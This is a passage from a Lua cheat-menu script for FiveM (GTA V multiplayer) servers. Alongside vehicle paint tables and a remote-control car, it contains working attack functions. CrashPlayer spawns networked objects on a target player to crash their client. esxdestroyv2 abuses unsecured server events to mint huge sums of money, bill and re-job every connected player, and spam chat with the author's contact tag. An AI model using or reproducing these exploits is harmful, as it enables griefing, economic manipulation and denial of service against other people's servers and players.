  2966. id = 1
  2967. },
  2968. {
  2969. name = "~h~Anhracite Black",
  2970. id = 11
  2971. },
  2972. {
  2973. name = "~h~Black Steel",
  2974. id = 2
  2975. },
  2976. {
  2977. name = "~h~Dark Steel",
  2978. id = 3
  2979. },
  2980. {
  2981. name = "~h~Silver",
  2982. id = 4
  2983. },
  2984. {
  2985. name = "~h~Bluish Silver",
  2986. id = 5
  2987. },
  2988. {
  2989. name = "~h~Rolled Steel",
  2990. id = 6
  2991. },
  2992. {
  2993. name = "~h~Shadow Silver",
  2994. id = 7
  2995. },
  2996. {
  2997. name = "~h~Stone Silver",
  2998. id = 8
  2999. },
  3000. {
  3001. name = "~h~Midnight Silver",
  3002. id = 9
  3003. },
  3004. {
  3005. name = "~h~Cast Iron Silver",
  3006. id = 10
  3007. },
  3008. {
  3009. name = "~h~Red",
  3010. id = 27
  3011. },
  3012. {
  3013. name = "~h~Torino Red",
  3014. id = 28
  3015. },
  3016. {
  3017. name = "~h~Formula Red",
  3018. id = 29
  3019. },
  3020. {
  3021. name = "~h~Lava Red",
  3022. id = 150
  3023. },
  3024. {
  3025. name = "~h~Blaze Red",
  3026. id = 30
  3027. },
  3028. {
  3029. name = "~h~Grace Red",
  3030. id = 31
  3031. },
  3032. {
  3033. name = "~h~Garnet Red",
  3034. id = 32
  3035. },
  3036. {
  3037. name = "~h~Sunset Red",
  3038. id = 33
  3039. },
  3040. {
  3041. name = "~h~Cabernet Red",
  3042. id = 34
  3043. },
  3044. {
  3045. name = "~h~Wine Red",
  3046. id = 143
  3047. },
  3048. {
  3049. name = "~h~Candy Red",
  3050. id = 35
  3051. },
  3052. {
  3053. name = "~h~Hot Pink",
  3054. id = 135
  3055. },
  3056. {
  3057. name = "~h~Pfsiter Pink",
  3058. id = 137
  3059. },
  3060. {
  3061. name = "~h~Salmon Pink",
  3062. id = 136
  3063. },
  3064. {
  3065. name = "~h~Sunrise Orange",
  3066. id = 36
  3067. },
  3068. {
  3069. name = "~h~Orange",
  3070. id = 38
  3071. },
  3072. {
  3073. name = "~h~Bright Orange",
  3074. id = 138
  3075. },
  3076. {
  3077. name = "~h~Gold",
  3078. id = 99
  3079. },
  3080. {
  3081. name = "~h~Bronze",
  3082. id = 90
  3083. },
  3084. {
  3085. name = "~h~Yellow",
  3086. id = 88
  3087. },
  3088. {
  3089. name = "~h~Race Yellow",
  3090. id = 89
  3091. },
  3092. {
  3093. name = "~h~Dew Yellow",
  3094. id = 91
  3095. },
  3096. {
  3097. name = "~h~Dark Green",
  3098. id = 49
  3099. },
  3100. {
  3101. name = "~h~Racing Green",
  3102. id = 50
  3103. },
  3104. {
  3105. name = "~h~Sea Green",
  3106. id = 51
  3107. },
  3108. {
  3109. name = "~h~Olive Green",
  3110. id = 52
  3111. },
  3112. {
  3113. name = "~h~Bright Green",
  3114. id = 53
  3115. },
  3116. {
  3117. name = "~h~Gasoline Green",
  3118. id = 54
  3119. },
  3120. {
  3121. name = "~h~Lime Green",
  3122. id = 92
  3123. },
  3124. {
  3125. name = "~h~Midnight Blue",
  3126. id = 141
  3127. },
  3128. {
  3129. name = "~h~Galaxy Blue",
  3130. id = 61
  3131. },
  3132. {
  3133. name = "~h~Dark Blue",
  3134. id = 62
  3135. },
  3136. {
  3137. name = "~h~Saxon Blue",
  3138. id = 63
  3139. },
  3140. {
  3141. name = "~h~Blue",
  3142. id = 64
  3143. },
  3144. {
  3145. name = "~h~Mariner Blue",
  3146. id = 65
  3147. },
  3148. {
  3149. name = "~h~Harbor Blue",
  3150. id = 66
  3151. },
  3152. {
  3153. name = "~h~Diamond Blue",
  3154. id = 67
  3155. },
  3156. {
  3157. name = "~h~Surf Blue",
  3158. id = 68
  3159. },
  3160. {
  3161. name = "~h~Nautical Blue",
  3162. id = 69
  3163. },
  3164. {
  3165. name = "~h~Racing Blue",
  3166. id = 73
  3167. },
  3168. {
  3169. name = "~h~Ultra Blue",
  3170. id = 70
  3171. },
  3172. {
  3173. name = "~h~Light Blue",
  3174. id = 74
  3175. },
  3176. {
  3177. name = "~h~Chocolate Brown",
  3178. id = 96
  3179. },
  3180. {
  3181. name = "~h~Bison Brown",
  3182. id = 101
  3183. },
  3184. {
  3185. name = "~h~Creeen Brown",
  3186. id = 95
  3187. },
  3188. {
  3189. name = "~h~Feltzer Brown",
  3190. id = 94
  3191. },
  3192. {
  3193. name = "~h~Maple Brown",
  3194. id = 97
  3195. },
  3196. {
  3197. name = "~h~Beechwood Brown",
  3198. id = 103
  3199. },
  3200. {
  3201. name = "~h~Sienna Brown",
  3202. id = 104
  3203. },
  3204. {
  3205. name = "~h~Saddle Brown",
  3206. id = 98
  3207. },
  3208. {
  3209. name = "~h~Moss Brown",
  3210. id = 100
  3211. },
  3212. {
  3213. name = "~h~Woodbeech Brown",
  3214. id = 102
  3215. },
  3216. {
  3217. name = "~h~Straw Brown",
  3218. id = 99
  3219. },
  3220. {
  3221. name = "~h~Sandy Brown",
  3222. id = 105
  3223. },
  3224. {
  3225. name = "~h~Bleached Brown",
  3226. id = 106
  3227. },
  3228. {
  3229. name = "~h~Schafter Purple",
  3230. id = 71
  3231. },
  3232. {
  3233. name = "~h~Spinnaker Purple",
  3234. id = 72
  3235. },
  3236. {
  3237. name = "~h~Midnight Purple",
  3238. id = 142
  3239. },
  3240. {
  3241. name = "~h~Bright Purple",
  3242. id = 145
  3243. },
  3244. {
  3245. name = "~h~Cream",
  3246. id = 107
  3247. },
  3248. {
  3249. name = "~h~Ice White",
  3250. id = 111
  3251. },
  3252. {
  3253. name = "~h~Frost White",
  3254. id = 112
  3255. }
  3256. }
  3257. local bt = {
  3258. {
  3259. name = "~h~Black",
  3260. id = 12
  3261. },
  3262. {
  3263. name = "~h~Gray",
  3264. id = 13
  3265. },
  3266. {
  3267. name = "~h~Light Gray",
  3268. id = 14
  3269. },
  3270. {
  3271. name = "~h~Ice White",
  3272. id = 131
  3273. },
  3274. {
  3275. name = "~h~Blue",
  3276. id = 83
  3277. },
  3278. {
  3279. name = "~h~Dark Blue",
  3280. id = 82
  3281. },
  3282. {
  3283. name = "~h~Midnight Blue",
  3284. id = 84
  3285. },
  3286. {
  3287. name = "~h~Midnight Purple",
  3288. id = 149
  3289. },
  3290. {
  3291. name = "~h~Schafter Purple",
  3292. id = 148
  3293. },
  3294. {
  3295. name = "~h~Red",
  3296. id = 39
  3297. },
  3298. {
  3299. name = "~h~Dark Red",
  3300. id = 40
  3301. },
  3302. {
  3303. name = "~h~Orange",
  3304. id = 41
  3305. },
  3306. {
  3307. name = "~h~Yellow",
  3308. id = 42
  3309. },
  3310. {
  3311. name = "~h~Lime Green",
  3312. id = 55
  3313. },
  3314. {
  3315. name = "~h~Green",
  3316. id = 128
  3317. },
  3318. {
  3319. name = "~h~Forest Green",
  3320. id = 151
  3321. },
  3322. {
  3323. name = "~h~Foliage Green",
  3324. id = 155
  3325. },
  3326. {
  3327. name = "~h~Olive Darb",
  3328. id = 152
  3329. },
  3330. {
  3331. name = "~h~Dark Earth",
  3332. id = 153
  3333. },
  3334. {
  3335. name = "~h~Desert Tan",
  3336. id = 154
  3337. }
  3338. }
  3339. local bu = {
  3340. {
  3341. name = "~h~Brushed Steel",
  3342. id = 117
  3343. },
  3344. {
  3345. name = "~h~Brushed Black Steel",
  3346. id = 118
  3347. },
  3348. {
  3349. name = "~h~Brushed Aluminum",
  3350. id = 119
  3351. },
  3352. {
  3353. name = "~h~Pure Gold",
  3354. id = 158
  3355. },
  3356. {
  3357. name = "~h~Brushed Gold",
  3358. id = 159
  3359. }
  3360. }
  3361.  
  3362.  
  3363. function MaxOut(veh)
  3364. SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  3365. SetVehicleWheelType(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7)
  3366. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0) - 1, false)
  3367. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1) - 1, false)
  3368. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2) - 1, false)
  3369. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3) - 1, false)
  3370. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4) - 1, false)
  3371. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5) - 1, false)
  3372. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 6) - 1, false)
  3373. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 7) - 1, false)
  3374. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8) - 1, false)
  3375. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9) - 1, false)
  3376. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10) - 1, false)
  3377. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
  3378. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
  3379. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
  3380. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 14, 16, false)
  3381. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
  3382. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
  3383. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
  3384. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
  3385. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
  3386. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
  3387. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
  3388. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
  3389. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
  3390. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
  3391. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
  3392. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
  3393. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
  3394. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
  3395. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
  3396. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
  3397. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
  3398. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
  3399. SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1)
  3400. SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  3401. SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5)
  3402. end
  3403.  
  3404. function MaxOutPerf(veh)
  3405. SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  3406. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 11) - 1, false)
  3407. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 12) - 1, false)
  3408. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 13) - 1, false)
  3409. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 15) - 2, false)
  3410. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
  3411. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
  3412. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
  3413. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
  3414. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
  3415. SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  3416. end
  3417.  
  3418. function CrashPlayer(ped)
  3419. local playerPos = GetEntityCoords(ped, false)
  3420. local modelHashes = {
  3421. 0x34315488,
  3422. 0x6A27FEB1, 0xCB2ACC8,
  3423. 0xC6899CDE, 0xD14B5BA3,
  3424. 0xD9F4474C, 0x32A9996C,
  3425. 0x69D4F974, 0xCAFC1EC3,
  3426. 0x79B41171, 0x1075651,
  3427. 0xC07792D4, 0x781E451D,
  3428. 0x762657C6, 0xC2E75A21,
  3429. 0xC3C00861, 0x81FB3FF0,
  3430. 0x45EF7804, 0xE65EC0E4,
  3431. 0xE764D794, 0xFBF7D21F,
  3432. 0xE1AEB708, 0xA5E3D471,
  3433. 0xD971BBAE, 0xCF7A9A9D,
  3434. 0xC2CC99D8, 0x8FB233A4,
  3435. 0x24E08E1F, 0x337B2B54,
  3436. 0xB9402F87, 0x4F2526DA
  3437. }
  3438.  
  3439. for i = 1, #modelHashes do
  3440. obj = CreateObject(modelHashes[i], playerPos.x, playerPos.y, playerPos.z, true, true, true)
  3441. end
  3442. end
  3443.  
  3444. capPa = 'd' .. 'o' .. 'k' .. 'i'
  3445. cappA = 'd' .. 'o' .. 'k' .. 'i' .. capPa
  3446. local bD = cappA
  3447.  
  3448. function esxdestroyv2()
  3449. Citizen.CreateThread(
  3450. function()
  3451. TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
  3452. TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
  3453. TriggerServerEvent('esx_carthief:pay', 9999999999)
  3454. TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
  3455. TriggerServerEvent('esx_pizza:pay', 9999999999)
  3456. TriggerServerEvent('esx_ranger:pay', 9999999999)
  3457. TriggerServerEvent('esx_garbagejob:pay', 9999999999)
  3458. TriggerServerEvent('esx_truckerjob:pay', 9999999999)
  3459. TriggerServerEvent('AdminMenu:giveBank', 9999999999)
  3460. TriggerServerEvent('AdminMenu:giveCash', 9999999999)
  3461. TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
  3462. TriggerServerEvent('esx_banksecurity:pay', 9999999999)
  3463. TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
  3464. for bD = 0, 9 do
  3465. TriggerServerEvent(
  3466. '_chat:messageEntered',
  3467. '~g~exerr#1177',
  3468. {
  3469. 141,
  3470. 211,
  3471. 255
  3472. },
  3473. '^' .. bD .. '~b~exerr#1177'
  3474. )
  3475. end
  3476. for i = 0, 256 do
  3477. TriggerServerEvent(
  3478. 'esx:giveInventoryItem',
  3479. GetPlayerServerId(i),
  3480. 'item_money',
  3481. 'money',
  3482. 1254756
  3483. )
  3484. TriggerServerEvent(
  3485. 'esx:giveInventoryItem',
  3486. GetPlayerServerId(i),
  3487. 'item_money',
  3488. 'money',
  3489. 1254756
  3490. )
  3491. TriggerServerEvent(
  3492. 'esx_billing:sendBill',
  3493. GetPlayerServerId(i),
  3494. 'Purposeless',
  3495. '~g~Add me for more menus exerr#1177',
  3496. 43161337
  3497. )
  3498. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(i), 'police', 3)
  3499. TriggerServerEvent('NB:recruterplayer', i, 'police', 3)
  3500. end
  3501. end
  3502. )
  3503. end
  3504.  
  3505. function ch(C,x,y)
  3506. SetTextFont(0)
  3507. SetTextProportional(1)
  3508. SetTextScale(0.0,0.4)
  3509. SetTextDropshadow(1,0,0,0,255)
  3510. SetTextEdge(1,0,0,0,255)
  3511. SetTextDropShadow()
  3512. SetTextOutline()
  3513. SetTextEntry("STRING")
  3514. AddTextComponentString(C)
  3515. DrawText(x,y)
  3516. end
  3517.  
  3518. local function getPlayerIds()
  3519. local players = {}
  3520. for i = -1, 128 do
  3521. if NetworkIsPlayerActive(i) then
  3522. players[#players + 1] = i
  3523. end
  3524. end
  3525. return players
  3526. end
  3527.  
  3528. function DrawText3D(x, y, z, text, r, g, b)
  3529. SetDrawOrigin(x, y, z, 0)
  3530. SetTextFont(0)
  3531. SetTextProportional(0)
  3532. SetTextScale(0.0, 0.20)
  3533. SetTextColour(r, g, b, 255)
  3534. SetTextDropshadow(0, 0, 0, 0, 255)
  3535. SetTextEdge(2, 0, 0, 0, 150)
  3536. SetTextDropShadow()
  3537. SetTextOutline()
  3538. SetTextEntry("STRING")
  3539. SetTextCentre(1)
  3540. AddTextComponentString(text)
  3541. DrawText(0.0, 0.0)
  3542. ClearDrawOrigin()
  3543. end
  3544.  
  3545. local RCCar = {}
  3546.  
  3547. -- RichRevolution
  3548.  
  3549. RCCar.Start = function()
  3550. if DoesEntityExist(RCCar.Entity) then return end
  3551.  
  3552. RCCar.Spawn()
  3553.  
  3554. RCCar.Tablet(true)
  3555.  
  3556. while DoesEntityExist(RCCar.Entity) and DoesEntityExist(RCCar.Driver) do
  3557. Citizen.Wait(5)
  3558.  
  3559. local distanceCheck = GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(RCCar.Entity), true)
  3560.  
  3561. RCCar.DrawInstructions(distanceCheck)
  3562. RCCar.HandleKeys(distanceCheck)
  3563.  
  3564. if distanceCheck <= 10000000.0 then
  3565. if not NetworkHasControlOfEntity(RCCar.Driver) then
  3566. NetworkRequestControlOfEntity(RCCar.Driver)
  3567. elseif not NetworkHasControlOfEntity(RCCar.Entity) then
  3568. NetworkRequestControlOfEntity(RCCar.Entity)
  3569. end
  3570. else
  3571. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 6, 2500)
  3572. end
  3573. end
  3574. end
  3575.  
  3576. RCCar.HandleKeys = function(distanceCheck)
  3577. if IsControlJustReleased(0, 47) then
  3578. if IsCamRendering(RCCar.Camera) then
  3579. RCCar.ToggleCamera(false)
  3580. else
  3581. RCCar.ToggleCamera(true)
  3582. end
  3583. end
  3584.  
  3585. if distanceCheck <= 10000000.0 then
  3586. if IsControlJustPressed(0, 73) then
  3587. RCCar.Attach("pick")
  3588. end
  3589. end
  3590.  
  3591. if distanceCheck < 10000000.0 then
  3592. if IsControlJustReleased(0, 108) then
  3593. local coos = GetEntityCoords(RCCar.Entity, true)
  3594. AddExplosion(coos.x, coos.y, coos.z, 2, 100000.0, true, false, 0)
  3595. end
  3596. if IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
  3597. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 9, 1)
  3598. end
  3599.  
  3600. if IsControlJustReleased(0, 172) or IsControlJustReleased(0, 173) then
  3601. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 6, 2500)
  3602. end
  3603.  
  3604. if IsControlPressed(0, 173) and not IsControlPressed(0, 172) then
  3605. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 22, 1)
  3606. end
  3607.  
  3608. if IsControlPressed(0, 174) and IsControlPressed(0, 173) then
  3609. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 13, 1)
  3610. end
  3611.  
  3612. if IsControlPressed(0, 175) and IsControlPressed(0, 173) then
  3613. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 14, 1)
  3614. end
  3615.  
  3616. if IsControlPressed(0, 172) and IsControlPressed(0, 173) then
  3617. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 30, 100)
  3618. end
  3619.  
  3620. if IsControlPressed(0, 174) and IsControlPressed(0, 172) then
  3621. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 7, 1)
  3622. end
  3623.  
  3624. if IsControlPressed(0, 175) and IsControlPressed(0, 172) then
  3625. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 8, 1)
  3626. end
  3627.  
  3628. if IsControlPressed(0, 174) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
  3629. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 4, 1)
  3630. end
  3631.  
  3632. if IsControlPressed(0, 175) and not IsControlPressed(0, 172) and not IsControlPressed(0, 173) then
  3633. TaskVehicleTempAction(RCCar.Driver, RCCar.Entity, 5, 1)
  3634. end
  3635. end
  3636. end
  3637.  
  3638. RCCar.DrawInstructions = function(distanceCheck)
  3639. local steeringButtons = {
  3640. {
  3641. ["label"] = "Right",
  3642. ["button"] = "~INPUT_CELLPHONE_RIGHT~"
  3643. },
  3644. {
  3645. ["label"] = "Forward",
  3646. ["button"] = "~INPUT_CELLPHONE_UP~"
  3647. },
  3648. {
  3649. ["label"] = "Reverse",
  3650. ["button"] = "~INPUT_CELLPHONE_DOWN~"
  3651. },
  3652. {
  3653. ["label"] = "Left",
  3654. ["button"] = "~INPUT_CELLPHONE_LEFT~"
  3655. }
  3656. }
  3657.  
  3658. local pickupButton = {
  3659. ["label"] = "Delete",
  3660. ["button"] = "~INPUT_VEH_DUCK~"
  3661. }
  3662.  
  3663. local explodeButton = {
  3664. ["label"] = "Explode",
  3665. ["button"] = "~INPUT_VEH_FLY_ROLL_LEFT_ONLY~"
  3666. }
  3667.  
  3668. local buttonsToDraw = {
  3669. {
  3670. ["label"] = "Toggle Camera",
  3671. ["button"] = "~INPUT_DETONATE~"
  3672. }
  3673. }
  3674.  
  3675. if distanceCheck <= 10000000.0 then
  3676. for buttonIndex = 1, #steeringButtons do
  3677. local steeringButton = steeringButtons[buttonIndex]
  3678.  
  3679. table.insert(buttonsToDraw, steeringButton)
  3680. end
  3681.  
  3682. if distanceCheck <= 1000000.0 then
  3683. table.insert(buttonsToDraw, explodeButton)
  3684. end
  3685.  
  3686. if distanceCheck <= 1000000.0 then
  3687. table.insert(buttonsToDraw, pickupButton)
  3688. end
  3689. end
  3690.  
  3691. Citizen.CreateThread(function()
  3692. local instructionScaleform = RequestScaleformMovie("instructional_buttons")
  3693.  
  3694. while not HasScaleformMovieLoaded(instructionScaleform) do
  3695. Wait(0)
  3696. end
  3697.  
  3698. PushScaleformMovieFunction(instructionScaleform, "CLEAR_ALL")
  3699. PushScaleformMovieFunction(instructionScaleform, "TOGGLE_MOUSE_BUTTONS")
  3700. PushScaleformMovieFunctionParameterBool(0)
  3701. PopScaleformMovieFunctionVoid()
  3702.  
  3703. for buttonIndex, buttonValues in ipairs(buttonsToDraw) do
  3704. PushScaleformMovieFunction(instructionScaleform, "SET_DATA_SLOT")
  3705. PushScaleformMovieFunctionParameterInt(buttonIndex - 1)
  3706.  
  3707. PushScaleformMovieMethodParameterButtonName(buttonValues["button"])
  3708. PushScaleformMovieFunctionParameterString(buttonValues["label"])
  3709. PopScaleformMovieFunctionVoid()
  3710. end
  3711.  
  3712. PushScaleformMovieFunction(instructionScaleform, "DRAW_INSTRUCTIONAL_BUTTONS")
  3713. PushScaleformMovieFunctionParameterInt(-1)
  3714. PopScaleformMovieFunctionVoid()
  3715. DrawScaleformMovieFullscreen(instructionScaleform, 255, 255, 255, 255)
  3716. end)
  3717. end
  3718.  
  3719. -- 4x482
  3720.  
  3721. RCCar.Spawn = function()
  3722. RCCar.LoadModels({ GetHashKey(RCCAR123), 68070371 })
  3723.  
  3724. local spawnCoords, spawnHeading = GetEntityCoords(PlayerPedId()) + GetEntityForwardVector(PlayerPedId()) * 2.0, GetEntityHeading(PlayerPedId())
  3725.  
  3726. RCCar.Entity = CreateVehicle(GetHashKey(RCCAR123), spawnCoords, spawnHeading, true)
  3727.  
  3728. while not DoesEntityExist(RCCar.Entity) do
  3729. Citizen.Wait(5)
  3730. end
  3731.  
  3732. RCCar.Driver = CreatePed(5, 68070371, spawnCoords, spawnHeading, true)
  3733.  
  3734. SetEntityInvincible(RCCar.Driver, true)
  3735. SetEntityVisible(RCCar.Driver, false)
  3736. FreezeEntityPosition(RCCar.Driver, true)
  3737. SetPedAlertness(RCCar.Driver, 0.0)
  3738. SetVehicleNumberPlateText(RCCar.Entity, "exerr#1177")
  3739. TaskWarpPedIntoVehicle(RCCar.Driver, RCCar.Entity, -1)
  3740.  
  3741.  
  3742. while not IsPedInVehicle(RCCar.Driver, RCCar.Entity) do
  3743. Citizen.Wait(0)
  3744. end
  3745.  
  3746. RCCar.Attach("place")
  3747. end
  3748.  
  3749. RCCar.Attach = function(param)
  3750. if not DoesEntityExist(RCCar.Entity) then
  3751. return
  3752. end
  3753.  
  3754. RCCar.LoadModels({ "pickup_object" })
  3755.  
  3756. if param == "place" then
  3757.  
  3758. PlaceObjectOnGroundProperly(RCCar.Entity)
  3759. elseif param == "pick" then
  3760. if DoesCamExist(RCCar.Camera) then
  3761. RCCar.ToggleCamera(false)
  3762. end
  3763.  
  3764. RCCar.Tablet(false)
  3765.  
  3766. DeleteVehicle(RCCar.Entity)
  3767. DeleteEntity(RCCar.Driver)
  3768.  
  3769. RCCar.UnloadModels()
  3770. end
  3771. end
  3772.  
  3773. RCCar.Tablet = function(boolean)
  3774. if boolean then
  3775.  
  3776.  
  3777.  
  3778.  
  3779. Citizen.CreateThread(function()
  3780. while DoesEntityExist(RCCar.TabletEntity) do
  3781. Citizen.Wait(5)
  3782.  
  3783.  
  3784. end
  3785.  
  3786. ClearPedTasks(PlayerPedId())
  3787. end)
  3788. else
  3789. DeleteEntity(RCCar.TabletEntity)
  3790. end
  3791. end
  3792.  
  3793. ConfigCamera = true
  3794.  
  3795. RCCar.ToggleCamera = function(boolean)
  3796. if not ConfigCamera then return end
  3797.  
  3798. if boolean then
  3799. if not DoesEntityExist(RCCar.Entity) then return end
  3800. if DoesCamExist(RCCar.Camera) then DestroyCam(RCCar.Camera) end
  3801.  
  3802. RCCar.Camera = CreateCam("DEFAULT_SCRIPTED_CAMERA", true)
  3803.  
  3804. AttachCamToEntity(RCCar.Camera, RCCar.Entity, 0.0, 0.0, 0.4, true)
  3805.  
  3806. Citizen.CreateThread(function()
  3807. while DoesCamExist(RCCar.Camera) do
  3808. Citizen.Wait(5)
  3809.  
  3810. SetCamRot(RCCar.Camera, GetEntityRotation(RCCar.Entity))
  3811. end
  3812. end)
  3813.  
  3814. local easeTime = 500 * math.ceil(GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(RCCar.Entity), true) / 10)
  3815.  
  3816. RenderScriptCams(1, 1, easeTime, 1, 1)
  3817.  
  3818. Citizen.Wait(easeTime)
  3819.  
  3820. else
  3821. local easeTime = 500 * math.ceil(GetDistanceBetweenCoords(GetEntityCoords(PlayerPedId()), GetEntityCoords(RCCar.Entity), true) / 10)
  3822.  
  3823. RenderScriptCams(0, 1, easeTime, 1, 0)
  3824.  
  3825. Citizen.Wait(easeTime)
  3826.  
  3827. ClearTimecycleModifier()
  3828.  
  3829. DestroyCam(RCCar.Camera)
  3830. end
  3831. end
  3832.  
  3833. RCCar.LoadModels = function(models)
  3834. for modelIndex = 1, #models do
  3835. local model = models[modelIndex]
  3836.  
  3837. if not RCCar.CachedModels then
  3838. RCCar.CachedModels = {}
  3839. end
  3840.  
  3841. table.insert(RCCar.CachedModels, model)
  3842.  
  3843. if IsModelValid(model) then
  3844. while not HasModelLoaded(model) do
  3845. RequestModel(model)
  3846.  
